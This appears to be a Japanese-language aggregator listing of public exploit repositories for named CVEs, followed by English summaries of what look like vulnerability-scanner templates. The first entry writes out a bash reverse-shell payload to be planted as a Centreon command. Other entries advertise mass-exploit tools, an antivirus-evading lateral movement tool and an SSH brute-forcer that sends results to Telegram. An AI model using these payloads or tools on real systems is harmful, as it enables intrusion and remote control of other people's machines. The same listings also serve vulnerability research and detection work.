CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous に移動します。 続いて、下の画像のように Add をクリックします。 それでは bash リバースシェル を Miscellaneous コマンドとして作成します。 !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 そして Save をクリックします。 次に Configuration Pollers に移動し、現在の Central ポーラーをクリックします。 これにより、Modify a poller Configuration メニューにアクセスできま...

CVE-2023-1389

説明 CVE-2023–1389 は、TP-Link Archer AX21 WiFi ルーターにおける認証不要のコマンドインジェクションの脆弱性です。country パラメータ内のコールバックが popen 関数を使用しており、これは root として実行されるため、攻撃者は認証を必要とせずに、管理インターフェースへの GET または POST リクエストを通じて任意の値を注入できます。脆弱性の詳細はこちらで確認できます。 これらは、コマンドインジェクションを調査中に私が作成した Proof-of-Concept のいくつかです。Archer-file-transfer.py...

WMIHACKER

WMIHACKER（445ポート不要） 中文版Chinese version 免責事項: このプロジェクトに関連する技術は、セキュリティ学習および防御目的にのみ使用されており、不正使用は禁止されています！ アンチウイルスソフトウェアを回避する横移動コマンド実行テストツール（445ポート不要） はじめに:...

bitbucket-cve-2022-36804

bitbucket-cve-2022-36804 CVE-2022-36804 Atlassian Bitbucket コマンドインジェクションの脆弱性 POC フォローする YouTube Twitter Facebook LinkedIn...

CVE-2021-3156

CVE-2021-3156 説明 1.9.5p2 より前の Sudo にはヒープベースのバッファオーバーフローが存在し、「sudoedit -s」と単一のバックスラッシュ文字で終わるコマンドライン引数を介して root への権限昇格が可能になります。...

CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL 総合利用ツール。コマンド出力の確認、一括コマンド出力、外部XMLを使用した出力なしコマンド実行などの機能をサポートします。 必要なモジュール：requests、http.client （本ツールは許可されたセキュリティテストにのみ使用し、不正使用は行わないでください。違反行為は作者とは無関係です。） コマンド出力モジュールの既知の成功バージョン：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 オプション 機能1：コマンド出力 python3 CVE-2020-14882ALL.py -u...

RedLogin

RedLogin Red Login: SSHブルートフォースツール 特徴: 高速かつ高精度 CLI（コンソールベース） 攻撃成功後に任意のコマンドを実行（デフォルトは 'Uname -a'） Telegramメッセンジャー対応：ボットAPI経由でレポートを送信 使用方法: Redlogin.exe Optional —telegram == ターゲットIPリスト == テストするユーザー名のリスト == テストするパスワードのリスト == @BotFatherで取得したTelegramボットトークン == @userinfobotで取得したTelegramチャットID 謝辞 JeJe...

CVE-2023-26035

CVE-2023-26035 ZoneMinder スナップショット - 認証不要 インストール リポジトリを取得 $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git セットアップ 注: 最新バージョンの node をインストールしてください。 $ npm init $ npm i axios cheerio yargs 使い方 ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node exp.js -h Options:...

GL.iNet-Multiple-Vulnerabilities

GL.iNet の複数の脆弱性 このリポジトリには、以下の脆弱性のエクスプロイトが含まれています： CVE-2023-46454: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、パッケージ情報機能で細工されたパッケージ名を介して任意のシェルコマンドを注入することが可能です。 CVE-2023-46455: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、OpenVPN クライアントのファイルアップロード機能でパストラバーサル攻撃を介して任意のファイルを書き込むことが可能です。 CVE-2023-46456:...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus スキャン 0x02 K8 Tools GetShell 0x03 CMDクエリ 使用方法: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2025-48703

🛡️ CVE-2025-48703 - cPanel ファイルマネージャーにおけるリモートコード実行（RCE） 📌 説明 CVE-2025-48703 は、ウェブホスティングコントロールパネル（例：cPanel）の filemanager モジュールにおけるリモートコード実行（RCE）の脆弱性です。これは、acc=changePerm 関数における 未サニタイズの入力処理 が原因で発生し、攻撃者が ttotal パラメータを使用して任意のシステムコマンドを注入・実行することを可能にします。 🧨 影響 この脆弱性により、攻撃者は以下が可能になります：...

StrutsShell

StrutsShell Apache Struts CVE-2017-5638 シェル はじめに 「LowNoiseHG LNHG Struts Shell 」（以下「StrutsShell 」）は、Apache Struts CVE-2017-5638を手動で悪用する（HTTP GETリクエストを手作業で行う）必要性を感じず、またこの脆弱性に対するMetasploitモジュールが（少なくとも当社のテストケースでは）動作しなかったことに気づいた後、2017年3月に考案されました。 説明 StrutsShell...

CVE-2024-4358_Mass_Exploit

CVE-2024-4358MassExploit @sinsinology のツールを改変して、マスエクスプロイトを実行できるようにしたものです。 必要条件 Python 3.x インストール git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt 実行方法 usage: python CVE-2024-4358.py --target-file targets.txt -c "whoami...

UniFi OS Server - Command Injection

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection. id: CVE-2026-34910 info: name: UniFi OS Server - Command Injection author: Kazgangap severity: critical description: | A malicious actor...

TotoLink Router setMacFilterRules - Command Injection

TOTOLINK A3300R V17.0.0cu.557B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setMacFilterRules function. id: CVE-2024-24328 info: name: TotoLink Router setMacFilterRules - Command Injection author: pussycat0x severity: critical description: |...

FOG Project < 1.5.10.34 - Remote Command Execution

FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. id: CVE-2024-39914 info: name: FOG Project 1.5.10.34 - Remote...

TerraMaster TOS <.1.29 - Remote Code Execution

TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with for example OS commands in the opt parameter. id:...

Group-Office < 26.0.5 - Remote Code Execution

Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmpfile into an exec call. By injecting shell metacharacters into...

RClone RC - Command Injection

Rclone = 1.48.0 and = 1.48.0 and 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment...

TitanNit Web Control 2.01/Atemio 7600 - Remote Code Execution

The device contains a command injection caused by the 'getcommand' query in the application, letting unauthorized attackers execute system commands with root privileges, exploit requires attacker to send crafted requests. id: CVE-2024-9166 info: name: TitanNit Web Control 2.01/Atemio 7600 - Remot...